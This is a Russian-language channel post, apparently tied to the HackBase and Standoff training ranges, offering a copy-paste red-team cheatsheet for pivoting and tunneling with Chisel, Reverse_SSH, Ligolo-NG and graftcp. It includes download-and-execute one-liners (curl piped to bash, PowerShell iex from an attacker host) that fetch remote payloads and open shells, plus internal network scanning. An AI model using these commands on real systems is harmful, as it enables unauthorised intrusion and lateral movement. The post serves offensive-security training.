Всем 👋! Это Bagley

💬 1-ый Сезон полигона HackBase в самом разгаре, а совсем скоро пройдет 16 Кибербитва Standoff

Когда-то я уже писал про то, Как хакеры из Red-team команд получают доступ во внутреннюю сеть, но как они продвигаются внутри сети❓ Самое время поделиться некоторым туллингом из категории Pivoting, Tunneling, and Port Forwarding (Для кого-то это будет просто удобный cheatsheet, из которого можно Ctrl+C, Ctrl+V; Для кого-то эти инструменты будут новыми)

#️⃣ Начну с наиболее известного инструмента: Chisel
⚪️У себя стартуем сервер:
⚡️ root@parrot > chisel server -p 1337 --reverse
⚪️Коннектимся клиентом
chisel.exe client [OUR_SERVER_IP]:[OUR_SERVER_PORT] R:socks
chisel.exe client [OUR_SERVER_IP]:[OUR_SERVER_PORT] R:[NOT_DEFAULT_PORT]:socks
По дефолту у вас поднимается socks на 1080, но можно его изменить R:1081:socks (если вы выводите chisel с каждой тачки, то нужно постоянно менять поднимаемый порт)


#️⃣ Далее очень мощный инструмент: Reverse_SSH - используй ssh как основной инструмент на любой системе.
(с этой штукой нужно просто познакомиться... Потом откажетесь от используемых C2)

⚪️У себя стартуем сервак (да, он запускается в докере и прокидывает к нам порт)
⚡️ root@parrot > docker run -p3232:2222 -e EXTERNAL_ADDRESS=:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/*.pub)" -v /tmp/data:/data reversessh/reverse_ssh
🔴С ключами, лучше добавить в свою home/xxx/.ssh, чтоб проблем не было при дальнейшем использовании
ssh-keygen -t ed25519 - так их можно сгенерить

⚪️Заходим в панельку управления (если увидели catcher$, значит всё получилось)
⚡️ root@parrot > ssh -p 3232
catcher$
⚪️Генерим линки:
В linux всё относительно просто
catcher$ link
http://x.x.x.x:3232/b05b2efdc0901441cd20e589e02d2975
Download & Execute на таргете
curl http://x.x.x.x:3232/b05b2efdc0901441cd20e589e02d2975.sh | bash

Для Windows:
catcher$ link --goos windows --name docs.exe
http://x.x.x.x:3232/docs.exe
В Havoc можно вот так запустить
powershell iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x:3232/docs.exe.ps1')
Ну или просто в Powershell'e:
iex (New-Object Net.WebClient).DownloadString('http://x.x.x.x:3232/docs.exe.ps1')
⚪️Можно сделать просто link --goos windows и при обращении на http://x.x.x.x:3232/fe1e57f178afb344934e2148cdf6fe5b просто cкачать бинарь и запускать

⚪️Список активных коннектов можно глянуть вот так:
catcher$ ls -t

30a03b92b17ac25923f4a34f59e449c7d47b73a9
fe1e57f178afb344934e2148cdf6fe5b0f982ba0
icg.djones..djones
10.124.2.26:30112
⚪️Ну и самое главное, перед нами весь функционал ssh
Вот так получаем полноценный доступ к хосту:
ssh -J :3232 icg.djones..djones
Можно использовать весь функционал: -D, -L, -R


#️⃣ Переходим к тяжеловесу в этой категории Ligolo-NG (помогает при эксплуатации сервисов на UDP)
Качаем ligolo-ng_proxy - это сервак
И ligolo-ng_agent - это клиент
⚪️Запускаем сервер:
⚡️ root@parrot > ./ligolo-proxy --selfcert
ligolo-ng »
⚪️Коннекнимся клиентом:
./agent.exe -connect x.x.x.x:11601 -ignore-cert
⚪️Возвращаемся в свой терминал, поднимаем интерфейс, и стартуем наш tunnel
ligolo-ng » interface_create --name "evil-cha"
ligolo-ng » session
# Выбираем нужную
[Agent : DJONES\Adm@djones] »
[Agent : DJONES\Adm@djones] » tunnel_start --tun evil-cha
⚪️Добавляем роуты:
Через наш terminal
$ sudo ip route add 192.168.0.0/24 dev ligolo
Через cli Ligolo-ng (>= 0.6)
ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24

⚪️Теперь напрямую можно сканить сетку:
nmap -sT -Pn 192.168.2.0/24


#️⃣ Socks к себе забрали, как через него ходить❓
⚪️Классика - proxychains
⚪️Альтернатива: graftcp, и пару слов про него:
Установка:
git clone https://github.com/hmgle/graftcp.git
cd graftcp
make
Запуск: в -socks5 указываем вашу socks'у, через которую хотим ходить
local/graftcp-local -socks5 127.0.0.1:1081
Теперь можно пускать любые тулзы (да, и GO'шные тоже, ведь не все GO-бинари норм работают через proxychains) через socks
./graftcp netexec smb 10.154.21.0/24

❔ Основные посты канала


#learning #Standoff #HackBase